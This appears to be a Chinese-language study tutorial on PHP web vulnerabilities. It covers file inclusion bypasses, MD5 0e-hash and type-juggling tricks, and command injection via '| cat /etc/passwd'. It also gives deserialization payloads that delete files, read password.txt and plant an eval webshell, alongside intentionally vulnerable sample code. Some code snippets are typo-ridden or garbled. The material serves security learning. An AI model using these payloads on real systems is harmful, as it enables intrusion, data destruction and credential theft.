三、常见PHP用法与漏洞

(〇)php的备份文件与phps

php的备份文件一般是*.php.bak,在根目录下输入/index.php.bak, 下载 备份文件。

phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。

(一)php_文件包含

文件包含的函数的参数没有经过过滤或者是严格的定义,并且参数可以被用户所控制,这样就可能包含非预期的文件。

1.文件包含漏洞常见的函数(默认都以php脚本为准啊)

①include: 包含并运行指定的文件,Include在出错的时候产生警告,脚本会继续运行

②include_once:在脚本执行期间包含并运行指定文件。该函数和include 函数类似,两者唯一的区别是 使用该函数的时候,php会加检查指定文件是否已经被包含过,如果是,则不会再被包含。

③require :包含并运行指定文件。require在出错的时候产生E_COMPLE_ERROR级别的错误,导致脚本终止运行。

④require_once: 和require函数完全相同。区别类似include和include_once。

文件包含漏洞示例(文件名称include.php)

无限制:没有为包含文件指定特定的前缀或者.php .html 等扩展名

<?php

$filename=$_GET['filename'];

Include($filename);

?>

有限制:(随便加一个扩展名上去)

<?php

$filename=$_GET['filename'];

Include($filename.".html");

?>
2.本地包含漏洞

①无限制本地包含漏洞 1)常见的敏感信息路径

window系统: \boot.ini 系统版本信息

\php.ini PHP配置信息

\my.ini MYSQL配置信息

\httpd.conf Apache配置信息

linux系统:

/etc/passwd linux系统账号信息

/etc/httpd/conf/httpd.conf Apache配置信息

/etc/my.conf MYSQL配置信息

/usr/etc/php.ini PHP配置信息 2)漏洞利用

读取文件内容(还未纠正)

通过目录遍历可以获取系统中的文件:

http://XXX.X.X.X./include.php?finame= (传路径即可)

例:我们要访问四级目录中的1.php文件

那就是 http://XXX.X.X.X./include.php?finame=../../../1.php

利用无限制本地包含漏洞执行代码

利用无限制本地包含漏洞,可以通过文件包含功能执行扩展名的文件中的代码

Os:学到这里的时候终于解惑之前的一个疑惑:在做文件上传的题目时,为什么我上传一个图片马,访问该图片用蚁剑无法连接。原因当然是:图片马里面的php代码没有办法解析,如果要解析的话可以配合文件包含漏洞,那样就可以解析图片马里面的php代码(死靶文件随便加加减减呗)

例:Test.txt文件内容是<?php phpinfo(); ?>

利用文件包含漏洞test.txt 文件,就可以执行文件中的php代码并输出phpinfo信息

②有限制本地包含漏洞

如下:

绕过方法: 1)%00截断文件包含

漏洞利用条件: php版本要低于5.3.4

Magic_quotes_gpc=off

测试:http://127.0.0.1/include.php?filename=1.txt%00 2)路径长度截断文件包含

操作系统存在最大路径长度的限制。可以通过输入超过最大路径的长度的目录,这样系统就会将后面的的路径给舍弃,导致扩展名截断。

漏洞利用条件:

window系统目录下的最大路径长度是256B

Linux系统目录下的最大路径长度是4096B

测试:http://127.0.0.1/include.php?finame=1.txt/../../../../../../../../../../../../../../../../../../../../../../../../../../../(省略不想打了) 3)点号截断文件包含

和‘路径长度文件截断文件包含’同理

3.远程包含漏洞

①无限制远程文件包含漏洞

无限制远程文件包含是指包含文件的位置并不是在本地服务器,而是通过URL的形式包含其他服务器上的文件,执行文件中的恶意代码。

漏洞利用条件:

allow_url_fopen=on

allow_url_include=on 漏洞利用:

直接传参文件的url即可,就不做演示了。 ②有限制远程文件包含漏洞(后面再补图)

绕过方法: 1)问号绕过

可以在问好(?)后面添加HTML字符串,问号后面的扩展名.html会被当成查询,从而绕或扩展名过滤 2)井号绕过

可以在井号(#)后面添加HTML字符串,#号会截断后面的扩展名.html,从而逃过扩展名过滤。#号的URL编码为%23 3)空格绕过

在payload的最后对空格进行URL编码 %20 四.PHP伪协议 ①常见的php伪协议

1)file:// 访问本地文件系统

2)http:// 访问HTTP(S)网址

3)ftp:// 访问FTP(S)URL

4)php:// 访问各个输出输入流

5)zlib:// 处理压缩流

6)data:// 读取数据

7)glob:// 查找匹配的文件路径模式

8)phar:// PHP归档

9)rar:// RAR数据压缩 ②php://伪协议

php://伪协议是php提供的一些输入输出流访问功能,允许访问php的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份的临时文件流,以及可以操作其他读取和写入文件的过滤器。

1)php://filter

php://filter是元封装器,设计用于了数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。

以下两种用法相同:

名称 描述 resource=<要过滤的数据流> 该参数是必需的。指定要过滤的数据流 read=<读链的筛选器列表> 该参数可选。可以设定一个或者多个筛选器名称,以管道符(|分隔 write=<写链的筛选器列表> 该参数可选。可以设定一个或者多个筛选名称,以管道符(|)分隔

(二)MD5绕过

MD5消息摘要算法,属Hash算法一类。MD5算法对输入任意长度的消息进行运行,产生一个128位的消息摘要(32位的数字字母混合码)。

md5()函数有一个漏洞,如果md5函数的参数是一个数组值,会导致函数返回false。除了md5之外sha1函数也有这个特性。 则这里get一个a[]=1 post一个b[]=1即可。

除了利用md5函数的漏洞,还可以构造md5值相同的俩条不同数据。md5值相同的字符串没有找到,但可以构造md5值相同的二进制数据

附:常见MD5 0e开头的字符串
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
1110242161
0e435874558488625891324861198103
1320830526
0e912095958985483346995414060832
1586264293
0e622743671155995737639662718498
2302756269
0e250566888497473798724426794462
2427435592
0e067696952328669732475498472343
2653531602
0e877487522341544758028810610885
3293867441
0e471001201303602543921144570260
3295421201
0e703870333002232681239618856220
3465814713
0e258631645650999664521705537122
3524854780
0e507419062489887827087815735195
3908336290
0e807624498959190415881248245271
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536
注意:php8不支持数组绕过

(三)is_numeric漏洞

会忽视0x这种十六进制的数

容易引发sql注入操作,暴漏敏感信息

echo json_encode([
   is_numeric(233333),
   is_numeric('233333'),
   is_numeric(0x233333),
   is_numeric('0x233333'),
   is_numeric('233333abc'),
]);

结果如下

16进制数0x61646D696EASII码对应的值是admin

如果我们执行了后面这条命令的话:SELECT * FROM tp_user where username=0x61646D696E,结果不言而喻

[
   true,
   true,
   true,
   false,
   false
]

(四)in_array漏洞

in_array中是先将类型转为整形,再进行判断

转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0

<?php
var_dump(in_array("2%20and%20%", [0,2,3]));

结果如下

bool(true)

(五)switch漏洞

switch中是先将类型转为整形,再进行判断

转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0

<?php
$i ="2abc";
switch ($i) {
   case 0:
   case 1:
   case 2:
       echo "i是比3小的数";
       break;
   case 3:
       echo "i等于3";
}
结果如下
   i是比3小的数

(六)命令注入攻击

PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同) 函数原型 string system(string command, int &return_var) command 要执行的命令 return_var 存放执行命令的执行后的状态值 string exec (string command, array &output, int &return_var) command 要执行的命令 output 获得执行命令输出的每一行字符串 return_var 存放执行命令后的状态值 void passthru (string command, int &return_var) command 要执行的命令 return_var 存放执行命令后的状态值 string shell_exec (string command) command 要执行的命令

漏洞实例

例1: //ex1.php

<?php
$dir = $_GET["dir"];
if (isset($dir))
{
    echo "<pre>";
    system("ls -al ".$dir);
    echo "</pre>";
}
?>

我们提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd 提交以后,命令变成了 system(“ls -al | cat /etc/passwd”);

(七)常见的弱类型比较绕过

<?php 
echo` `0 == ``'a'` `;``// a 转换为数字为 0 重点注意
// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数,被转换为同一进制比较
'0xccccccccc'` `== ``'54975581388'` `;
// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
1 == ``'1'``;
1 == ``'01'``;
10 == ``'1e1'``;
'100'` `== ``'1e2'` `;  
// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef'` `== ``'   0xABCdef'``;
echo` `'0010e2'` `== ``'1e3'``;
// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514'` `== ``'0e481036490867661113260034900752'``;
'0e481036490867661113260034900752'` `== ``0'` `;
var_dump(md5(``'240610708'``) == md5(``'QNKCDZO'``));
var_dump(md5(``'aabg7XSs'``) == md5(``'aabC9RqS'``));
var_dump(sha1(``'aaroZmOk'``) == sha1(``'aaK1STfY'``));
var_dump(sha1(``'aaO8zKZF'``) == sha1(``'aa3OFF9m'``));
?>

(八)通配符在文件查询中的妙用

通配符是一种特殊语句,主要有星号()和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 实际上用“Not?pad”可以对应Notepad\MyNotepad【*可以代表任何字符串;?仅代表单个字符串,但此单字必须存在】;Notep[ao]d可以对应Notepad\Notepod【ao代表a与o里二选一】,其余以此类推。

(九)Linux下内部分隔符${IFS}可以代替空格

(十)反序列化漏洞

1.什么是序列化和反序列化

序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

2.什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

3.序列化函数(serialize)

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。

测试代码

<?php 
class Stu{
   public $name = 'aa';
   public $age = 18;
   public function demo(){
       echo "你好啊";
  }
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
}

?>

查看结果:

4.反序列化(unserialize)
    unserialize()可以从序列化后的结果中恢复对象(object)为了使用这个对象,在下列代码中用unserialize重建对象.

测试代码:

<?php 
//定义一个Stu类
class Stu
{
//定义成员属性
public $name = 'aa';
public $age = 19;
//定义成员方法
public function demo()
{
echo '你吃了吗';
}
}
//实例化对象
$stu = new Stu();
//进行序列化
$stus = serialize($stu);
print_r($stus);
echo "<br><pre>";
//进行反序列化
print_r(unserialize($stus));
?>
5.PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。

1、__get、__set

这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法

__set( $property, $value ) 给一个未定义的属性赋值时调用

这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、__isset、__unset

__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法

__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法

与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

3、__call

__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload

__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

注意: __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、__construct、__destruct

__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称

__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法

默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.

在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。

6、__clone

PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

7、__toString

__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。

在PHP 5.2.0之前,__toString方法只有结合使用echo() print()才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)

从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。

8、__sleep、__wakeup

__sleep 串行化的时候用

__wakeup 反串行化的时候调用

serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、__set_state

当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。

10、__invoke

当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效

11、__callStatic

它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。

同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
6.魔术方法的利用

测试代码:

<?php
 class Stu
  {
      public $name = 'aa';
      public $age = 18;
     
     function __construct()
    {
       echo '对象被创建了__consrtuct()';
    }
     function __wakeup()
    {
       echo '执行了反序列化__wakeup()';
    }    
      function __toString()
    {
       echo '对象被当做字符串输出__toString';
       return 'asdsadsad';
    }
     function __sleep()
    {
       echo '执行了序列化__sleep';
       return array('name','age');
    }
     function __destruct()
    {
       echo '对象被销毁了__destruct()';
    }

  }
   $stu =  new Stu();
   echo "<pre>";
  //序列化
   $stu_ser = serialize($stu);
   print_r($stu_ser);
   //当成字符串输出
   echo "$stu";
  //反序列化
   $stu_unser = unserialize($stu_ser);
   print_r($stu_unser);
?>
7.反序列化漏洞的利用

由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。 1.__destruct()函数

个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象

测试代码:

<?php 
header("content-type:text/html;charset=utf-8");
//引用了logfile.php文件
include './logfile.php';
//定义一个类
class Stu
{
public $name = 'aa';
public $age = 19;
function StuData()
{
echo '姓名:'.$this->name.'<br>';
echo '年龄:'.$this->age;
}
}
//实例化对象
$stu = new Stu();
//重构用户输入的数据
$newstu = unserialize($_GET['stu']);
//O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
echo "<pre>";
var_dump($newstu) ;
?>

logfile.php 代码:

<?php 
class LogFile
{
//日志文件名
public $filename = 'error.log';
//存储日志文件
function LogData($text)
{
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>

正常输入参数:O:3:”Stu”:2:{s:4:”name”;s:2:”aa”;s:3:”age”;i:20;}

重构logfile.php文件包含的对象进行文件删除

 正常重构:O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}

发现正常删除,但如果我们修改参数,让其删除其他的文件呢?

异常重构:O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}
执行该代码

2.__wakeup()

例如有一个代码为index.php,源码如下

<?php 
class chybeta
{
public $test = '123';
function __wakeup()
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class = @$_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);

// 为显示效果,把这个shell.php包含进来
   require "shell.php";
?>

传入参数:?test=O:7:”chybeta”:1:{s:4:”test”;s:19:”<?php phpinfo(); ?>“;}

查看shell.php文件

也可以传入一句话木马:O:7:”chybeta”:1:{s:4:”test”;s:25:”<?php eval($_POST[1]); ?>“;} 3.toString()

举个例子,某用户类定义了一个toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 toString读取某个文件。把下面这段代码保存为fileread.php

fileread.php代码

<?php 
//读取文件类
class FileRead
{
public $filename = 'error.log';
function __toString()
{
return file_get_contents($this->filename);
}
}
?>

个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。

测试代码:

<?php 
//引用fileread.php文件
include './fileread.php';
//定义用户类
class User
{
public $name = 'aa';
public $age = 18;
function __toString()
{
return '姓名:'.$this->name.';'.'年龄:'.$this->age;
}
}
//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>

正常重构:O:4:”User”:2:{s:4:”name”;s:2:”aa”;s:3:”age”;i:18;}

 

重构fileread.php文件包含的类进行读取password.txt文件内容

重构:O:8:”FileRead”:1:{s:8:”filename”;s:12:”password.txt”;} 九、反序列化漏洞的防御

(十一)php写入文件

PHP 写入文件 – fwrite()

fwrite() 函数用于写入文件。

fwrite() 的第一个参数包含要写入的文件的文件名,第二个参数是被写的字符串。

下面的例子把姓名写入名为 “newfile.txt” 的新文件中:

实例

<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "Bill Gates\n";
fwrite($myfile, $txt);
$txt = "Steve Jobs\n";
fwrite($myfile, $txt);
fclose($myfile);
?>

请注意,我们向文件 “newfile.txt” 写了两次。在每次我们向文件写入时,在我们发送的字符串 $txt 中,第一次包含 “Bill Gates”,第二次包含 “Steve Jobs”。在写入完成后,我们使用 fclose() 函数来关闭文件。

如果我们打开 “newfile.txt” 文件,它应该是这样的:

Bill Gates
Steve Jobs

PHP 覆盖(Overwriting)

如果现在 “newfile.txt” 包含了一些数据,我们可以展示在写入已有文件时发生的的事情。所有已存在的数据会被擦除并以一个新文件开始。

在下面的例子中,我们打开一个已存在的文件 “newfile.txt”,并向其中写入了一些新数据:

实例

<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "Mickey Mouse\n";
fwrite($myfile, $txt);
$txt = "Minnie Mouse\n";
fwrite($myfile, $txt);
fclose($myfile);
?>

如果现在我们打开这个 “newfile.txt” 文件,Bill 和 Steve 都已消失,只剩下我们刚写入的数据:

Mickey Mouse
Minnie Mouse